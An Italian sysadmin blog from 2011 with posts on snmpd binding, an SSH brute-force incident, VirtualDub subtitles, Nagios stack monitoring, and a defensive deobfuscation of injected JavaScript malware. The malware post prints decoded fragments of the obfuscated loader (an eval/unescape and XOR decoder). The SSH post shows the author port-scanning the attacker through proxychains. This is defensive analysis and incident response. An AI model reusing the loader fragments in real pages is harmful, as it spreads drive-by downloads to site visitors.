29/04/2011
Mettere in ascolto snmpd su un'interfaccia specifica
Recentemente ho riscontrato diverse grane con il demone snmpd installato su una macchina CentoOS 5.
Durante le operazioni di troubleshooting ho deciso di mettere in ascolto il demone in questione su una specifica interfaccia, avendo a che fare con un host dual-homed. Per la precisione, tale host presentava due interfacce di rete più una loopback, ovvero:
eth0 IP 10.0.0.1
eth1 IP 192.168.2.1 utilizzata con finalità di heartbeat per il cluster
lo IP 127.0.0.1
Lanciando un netstat -ano | grep :161 ottenevo il seguente output:
udp 0 0 0.0.0.0:161 0.0.0.0:* off (0.00/0/0)
Ciò significava che il demone stava in ascolto su tutte le interfacce. Ad ulteriore riprova di ciò lanciavo un snmpwalk -v2c -c publickey dapprima diretto verso l'IP dell'eth0, poi verso l'IP dell'eth1 ed infine verso l'IP della loopback. In tutti casi alla query era seguita una risposta.
Bene, decidevo quindi che l'snmpd doveva rimanere in ascolto solo sull'IP dell'eth0. Mi posizionavo dunque nella directory /etc/init.d ed accedevo al file snmpd mediante un editor di testo:
[nightfly@linuxbox ~]# cd /etc/init.d
[nightfly@linuxbox init.d]# nano snmpd
Nella fattispecie, la riga di mio interesse era la seguente:
OPTIONS="-LS4d -Lf /dev/null -p /var/run/snmpd.pid -a"
Che ho modificato nel seguente modo:
OPTIONS="-LS4d -Lf /dev/null -p /var/run/snmpd.pid 10.0.0.1 -a"
Successivamente, riavviavo il demone snmp mediante il comando:
[nightfly@linuxbox init.d]# service snmpd restart
e verificavo che fosse effettivamente attivo lanciando il comando:
[nightfly@linuxbox init.d]# service snmpd status
ottenendo come output:
snmpd (pid 2499) is running...
Tutto sembrava funzionare alla grande. Verificavo infine che il demone fosse in ascolto solo sull'indirizzo 10.0.0.1:
udp 0 10.0.0.1:161 0.0.0.0:* off (0.00/0/0)
Con mio grande piacere constatavo che finalmente snmpd stava in ascolto su una sola interfaccia, eliminando il problema dei continui restart dello stesso.
A presto.
19:20
Scritto da: nazarenolatella
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14/04/2011
SSH Bombing
Allora, premesso che sui server che gestisco gli attacchi di tipo bruteforce sono all'ordine del giorno, oggi fail2ban ha cominciato ad imprecare in modo alquanto insistente.
Ma cosa ci sarà da strillare così tanto? Do un'occhiata ai file di log e mi accorgo che da ben 12 ore, un certo indirizzo IP sta provando a forzare il servizio SSH in ascolto sulle mie macchine.
Uhm, vediamo un po' cosa dice il mio amico fail2ban:
Hi,
The IP 174.132.*.* has just been banned by Fail2Ban after 6 attempts against ssh.
Here are more information about 174.132.*.*:
#
# Query terms are ambiguous. The query is assumed to be:
# "n 174.132.*.*"
#
# Use "?" to get help.
#
#
# The following results may also be obtained via:
# http://whois.arin.net/rest/nets;q=174.132.*.*?showDetails=true&showARIN=false
# NetRange: 174.132.0.0 - 174.133.255.255
CIDR: 174.132.0.0/15
OriginAS: AS36420, AS30315, AS13749, AS21844
NetName: NETBLK-THEPLANET-BLK-15
NetHandle: NET-174-132-0-0-1
Parent: NET-174-0-0-0-0
NetType: Direct Allocation
RegDate: 2008-06-17
Updated: 2008-06-17
Ref: http://whois.arin.net/rest/net/NET-174-132-0-0-1
OrgName: ThePlanet.com Internet Services, Inc.
OrgId: TPCM
Address: 315 Capitol
Address: Suite 205
City: Houston
StateProv: TX
PostalCode: 77002
Country: US
RegDate: 1999-08-31
Updated: 2010-10-13
Ref: http://whois.arin.net/rest/org/TPCM
ReferralServer: rwhois://rwhois.theplanet.com:4321
OrgNOCHandle: THEPL-ARIN
OrgNOCName: The Planet NOC
OrgNOCPhone: +1-281-822-4204
OrgNOCEmail: noc@theplanet.com
OrgNOCRef: http://whois.arin.net/rest/poc/THEPL-ARIN
OrgTechHandle: TECHN33-ARIN
OrgTechName: Technical Support
OrgTechPhone: +1-214-782-7800
OrgTechEmail: admins@theplanet.com
OrgTechRef: http://whois.arin.net/rest/poc/TECHN33-ARIN
OrgAbuseHandle: ABUSE271-ARIN
OrgAbuseName: The Planet Abuse
OrgAbusePhone: +1-281-714-3560
OrgAbuseEmail: abuse@theplanet.com
OrgAbuseRef: http://whois.arin.net/rest/poc/ABUSE271-ARIN
RTechHandle: TECHN33-ARIN
RTechName: Technical Support
RTechPhone: +1-214-782-7800
RTechEmail: admins@theplanet.com
RTechRef: http://whois.arin.net/rest/poc/TECHN33-ARIN
RAbuseHandle: ABUSE271-ARIN
RAbuseName: The Planet Abuse
RAbusePhone: +1-281-714-3560
RAbuseEmail: abuse@theplanet.com
RAbuseRef: http://whois.arin.net/rest/poc/ABUSE271-ARIN
RNOCHandle: THEPL-ARIN
RNOCName: The Planet NOC
RNOCPhone: +1-281-822-4204
RNOCEmail: noc@theplanet.com
RNOCRef: http://whois.arin.net/rest/poc/THEPL-ARIN
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
# Found a referral to rwhois.theplanet.com:4321.
%rwhois V-1.5:003eff:00 whois.theplanet.com (by Network Solutions, Inc. V-1.5.9.5)
Network:Class-Name:network
network:ID:NETBLK-THEPLANET-BLK-15
network:Auth-Area:174.132.0.0/15
network:Network-Name:TPIS-BLK-174-132-*-0
network:IP-Network:174.132.*.*/29
network:IP-Network-Block:174.132.*.* - 174.132.*.*
network:Organization-Name:Mike Dillard
network:Organization-City:Austin
network:Organization-State:TX
network:Organization-Zip:78701
network:Organization-Country:USA
network:Description-Usage:customer
network:Server-Pri:ns1.theplanet.com
network:Server-Sec:ns2.theplanet.com
network:Tech-Contact;I:abuse@theplanet.com
network:Admin-Contact;I:abuse@theplanet.com
network:Created:20090204
network:Updated:20090216
%ok
Regards,
Fail2Ban
Ah che bello... finalmente un attacco che non proviene dal classico cinese smanettone. Ehm, però qui c'è qualcosa che non mi quadra (leggasi server farm), proviamo a fare un piccolo nmap su quell'indirizzo, va:
nightfly@nightbox:~$ sudo proxychains nmap -sS 174.132.*.*
[sudo] password for nightfly:
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 5.00 ( http://nmap.org ) at 2011-04-12 20:20 CEST
Interesting ports on **.ae.**ae.static.theplanet.com (174.132.*.*):
Not shown: 983 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
106/tcp open pop3pw
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
443/tcp open https
465/tcp open smtps
993/tcp open imaps
995/tcp open pop3s
1040/tcp open netsaint
1311/tcp open rxmon
3306/tcp open mysql
8443/tcp open https-alt
09:51
Scritto da: nazarenolatella
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11/04/2011
Sottotitolare un filmato con VirtualDub
Virtual Dub è sicuramente uno dei migliori programmi free dedicati al video editing. Tra le varie possibilità che ci mette a disposizione, vi è quella di aggiungere dei sottotitoli ad un filmato. Per fare ciò basta seguire la mini-guida che riporto di seguito.
Prima di iniziare scarichiamo tutto il necessario, ovvero:
1) Virtual Dub;
2) Subtitler, ovvero un plugin di Virtual Dub che ci permette di aggingere i sottotitoli al filmato;
3) Convert Srt to Ssa, un'utility che consente la conversione dei sottotitoli dal formato *.srt al formato *.ssa. Ciò è necessario poichè Subtitler supporta solo i sottotitoli nel formato *.ssa.
NB: Tutti i software indicati in precedenza sono gratuiti.
Scompattiamo Virtual Dub e successivamente salviamo il contenuto dell'archivio Subtitler.zip all'interno della directory plugins presente nella dir relativa a Virtual Dub.
Apriamo Virtual Dub, clicchiamo su File -> Open video file e selezioniamo il video che intendiamo sottotitolare.
A questo punto avviamo Convert Srt to Ssa (dopo averlo installato), selezioniamo i sottotitoli in formato *.srt che vogliamo convertire (mediante il pulsante Browse) e successivamente eseguiamo la conversione vera e propria cliccando su Covert.
Finalmente abbiamo i sottotitoli nel formato giusto. Torniamo su Virtual Dub, selezioniamo la voce Video presente nella toolbar e successivamente scegliamo Full processing mode.
Adesso possiamo aggiungere i sottotitoli al filmato, facendo click su Video -> Filters.. -> Add.
Scegliamo Subtitler, selezioniamo il file *.ssa ed infine clicchiamo sul pulsante OK.
Non ci resta che scegliere il tipo di compressione video. E' possibile fare ciò mediante Video - > Compression. Selezioniamo Xvid MPEG-4 Codec (assicuratevi di aver installato tale codec sulla vostra macchina) e confermiamo la nostra scelta con un click su OK.
Infine, selezioniamo dal menù File la voce Save as Avi... e dopo qualche minuto (a seconda delle capacità di calcolo del nostro PC) il video risulterà finalmente sottotitolato.
A presto.
10:00
Scritto da: nazarenolatella
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05/04/2011
Deoffuscamento del codice relativo al worm JS/trojandownloader.twetti.nac - Parte 2
Ecco la terza ed ultima parte dell'analisi relativa al codice JS malevolo iniettato sulla index di un sito che gestisco. Basandomi sulle osservazioni fatte in questo post, la prima cosa che mi è saltata in mente è stata quella di decodificare le variabili in percent encoding, tecnica utilizzata solitamente per le URL.
In particolare, le variabili che ho decodificato sono le seguenti:
var ca="%66un%63tio%6e %64cs%28ds%2ces%29%7bd%73%3dunes%63ape%"
che decodificata diventa:
var ca="function dcs(ds,es){ds=unescape%"
var cd="%74%3dst+%53%74rin%67.fr%6fmC%68a%72C%6fd%65(%28tmp%2e";
che decodificata diventa:
t=st+String.fromCharCode((tmp.
var st="%73%74%3d%22$a%3ds%74;%64c%73(%64%61%2bd%62+%64c%2bd%64%2b%64e%2c1%30%29%3b%64w%28%73t%29%3bs%74%3d$%61%3b%22;";
che decodificata diventa:
st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";
var cz="%66u%6e%63t%69on %63z(c%7a)%7bre%74urn%20c%61+c%62+cc%2b%63d+c%65+c%7a%3b%7d%3b";
che decodificata diventa:
cz(cz){return ca+cb+cc+cd+ce+cz;};
var op="%24a%3d%22d%77(dc%73(c%75,14%29);%22;";
che decodificata diventa:
$a="dw(dcs(cu,14));";
var ce="cha%72Co%64eAt%280)%5e%28%270x0%30%27+%65s)%29);}%7d";
che decodificata diventa:
charCodeAt(0)^('0x00'+es)));}}
var cb="28ds%29;s%74%3dtmp%3d%27%27;for(i%3d0;i%3cd%73%2el%65n";
che decodificata diventa:
28st=tmp='';for(i=0;i<ds.len";
var dz="%66%75nct%69o%6e dw%28%74)%7bca%3d%27%2564o%63%2575me%256e%74.%2577r%2569%74e(%252%32%27%3b%63%65%3d%27%2522%2529%27;cb%3d%27%253cs%2563ri%25%370%257%34 l%25%361%256%65%67ua%2567%2565%253%64%255c%2522%6a%2561%76as%2563r%69%25%370%2574%255%63%2522%253e%27;cc%3d%27%253c%255c%252fs%63rip%74%25%33e%27;wind%6fw[%22%65%22+%22%22+ %22v%22+%22al%22](une%73%63a%70%65(t%29)};";
che decodificata diventa:
dw(t){ca='%64oc%75me%6et.%77r%69te(%22';ce='%22%29';cb='%3cs%63ri%70%74 l%61%6egua%67%65%3d%5c%22j%61vas%63ri%70%74%5c%22%3e';cc='%3c%5c%2fscript%3e';window["e"+""+ "v"+"al"](unescape(t))};
Consideriamo ora la variabile cz:
cz(cz){return ca+cb+cc+cd+ce+cz;};
la quale diventa:
function cz(cz){
return "function dcs(ds,es) {
ds=unescape(ds);
st=tmp='';
for(i=0;i<ds.l%65ngth;i++) {
tmp=ds.slice(i,i+1);st=st+String.fromCharCode((tmp.charCodeAt(0)^('0x00'+es)));
}
}"+cz;
};
E' facile notare come la tecnica utilizzata per offuscare il codice sia sempre la stessa, ovvero l'uso di una logica di programmazione piuttosto contorta e l'abuso del percent encoding.
A questo punto, cercando un po' in rete ho visto che fondamentalmente si tratta di una variante del codice malevolo JS/Trojan-Downloader.JS.Twettir.a, il quale, appena la pagina infetta viene visualizzata, contatta il server search.twitter.com richiedendo la lista dei trending topic della settimana. Questa lista, in aggiunta alla data corrente, viene utilizzata per generare dei nomi di dominio pseudocasuali (già registrati dall'autore del malware e calcolati dallo stesso mediante la medesima tecnica), i quali verranno contattati in automatico per avviare il dowload del trojan direttamente sul PC dell'utente.
Inutile dire che tale codice è stato iniettato sfruttando una vulnerabilità dei server di Aruba. Spero che adesso siano stati finalmente patchati.
Il post termina qui, a presto.
14:59
Scritto da: nazarenolatella
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Stack Catalyst 3750 ed SNMP
Spesso mi è capitato di avere a che fare con degli switch Cisco Catalyst 3750 configurati in Stack. Grazie a questa configurazione, due o più switch vengono visti, a livello logico, come un unico commutatore. Ciò significa che a tutto lo stack può essere associato un unico indirizzo IP di management.
Ma dove sta l'inghippo? Semplice: nel caso in cui si utilizzino dei sistemi di monitoraggio della rete (ad esempio nagios), il semplice ping non è sufficiente ad indicare che tutti gli switch di uno stack funzionano correttamente. Infatti, se uno di essi si guastasse, lo stack continuerebbe ad esistere e quindi ad essere raggiungibile a livello IP.
Come fare dunque per montorare l'effettivo stato di ogni singolo switch che costituisce lo stack? La risposta è semplice: SNMP.
In particolare, gli OID da utilizzare sono reperibili su questo server FTP anonimo (la directory è /pub/mibs/oid) ed il file di riferimento è CISCO-STACKWISE-MIB.oid
Per la precisione, gli OID che indicano lo stato di funzionamento relativo alle stackport degli switch che costituiscono uno stack sono i seguenti:
1.3.6.1.4.1.9.9.500.1.2.2.1.1.5180 (per la prima porta del primo switch)
1.3.6.1.4.1.9.9.500.1.2.2.1.1.5181 (per la seconda porta del primo switch)
1.3.6.1.4.1.9.9.500.1.2.2.1.1.5183 (per la prima porta del secondo switch)
1.3.6.1.4.1.9.9.500.1.2.2.1.1.5184 (per la seconda porta del secondo switch)
1.3.6.1.4.1.9.9.500.1.2.2.1.1.5186 (per la prima porta del terzo switch)
1.3.6.1.4.1.9.9.500.1.2.2.1.1.5187 (per la seconda porta del terzo switch)
e così via.
Per verificare che gli OID sopra citati siano effettivamente supportati nell'ambito dello stack, potete utilizzare il comando snmpget (se avete a disposizione una linux box) oppure il tool Getif (nel caso in cui la vostra workstation sia una macchina Windows).
Configuriamo ora nagios. Per prima cosa definiamo il comando che ci permette di controllare lo stato dei vari switch:
nightfly@nightbox:~$ cd /etc/nagios-plugins/config
nightfly@nightbox:~$ sudo nano snmp.cfg
Inseriamo la seguente direttiva:
'snmp_stack' command definition
define command {
command_name snmp_stack
command_line /usr/lib/nagios/plugins/check_snmp -H '$HOSTADDRESS$' -C '$ARG1$' -o '$ARG2$'
}
Ora che abbiamo definito il comando, aggiungiamo il servizio per il monitoraggio degli switch all'interno del file di configurazione che identifica lo stack:
nightfly@nightbox:~$ cd /etc/nagios3/conf.d
nightfly@nightbox:~$ sudo nano host-stack_nagios3.cfg
Inseriamo quanto segue:
define service {
use generic-service ; Name of service template to use
host_name Stack
service_description Status Switch 1 Stackport 1
check_command
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5181
}
define service {
use generic-service ; Name of service template to use
host_name Stack
service_description Status Switch 1 Stackport 2
check_command
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5181
}
define service {
use generic-service ; Name of service template to use
host_name Stack
service_description Status Switch 2 Stackport 1
check_command
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5183
}
define service {
use generic-service ; Name of service template to use
host_name Stack
service_description Status Switch 2 Stackport 2
check_command
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5184
}
define service {
use generic-service ; Name of service template to use
host_name Stack
service_description Status Switch 3 Stackport 1
check_command
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5186
}
define service {
use generic-service ; Name of service template to use
host_name Stack
service_description Status Switch 3 Stackport 2
check_command
snmp_stack!vostracommunitystring!1.3.6.1.4.1.9.9.500.1.2.2.1.1.5187
}
Ovviamente sono partito dal presupposto che lo stack sia composto da 3 switch.
Salviamo il file e riavviamo nagios:
nightfly@nightbox:~$ sudo service nagios3 restart
e finalmente potremo monitorare l'effettivo stato degli switch di uno stack.
A presto.
14:37
Scritto da: nazarenolatella
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